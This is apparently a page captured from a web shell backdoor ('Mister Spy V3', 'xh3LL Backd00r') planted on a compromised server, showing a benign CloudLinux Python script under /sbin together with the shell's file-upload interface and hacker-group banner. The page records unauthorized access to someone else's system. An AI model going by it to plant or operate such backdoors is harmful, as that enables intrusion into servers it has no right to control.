Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /sbin/
Upload File :
Current File : //sbin/cl-pre-jwt-update

#!/opt/cloudlinux/venv/bin/python3 -bb
import argparse
import subprocess

from clcommon.lib.cledition import CLEditions


def _run_edition_change_check(edition: str):
    # run interactively
    subprocess.run(['cloudlinux-edition-watcher', 'check', '--pre', '--edition', edition])


def main(jwt_token, transition_allowed: bool):
    """
    You add your other actions here, but don't forget to handle errors.
    @param transition_allowed:
        True means that we expect transition to start and it won't
        affect any system actions like another yum transaction.
    """
    if transition_allowed:
        edition = CLEditions.get_from_jwt(token=jwt_token)
        _run_edition_change_check(edition)


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--new-token',
                        help='New jwt token value that will be later saved to file')

    parser.add_argument('--allow-transition', action='store_true', default=False)

    args = parser.parse_args()

    main(args.new_token, transition_allowed=args.allow_transition)

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat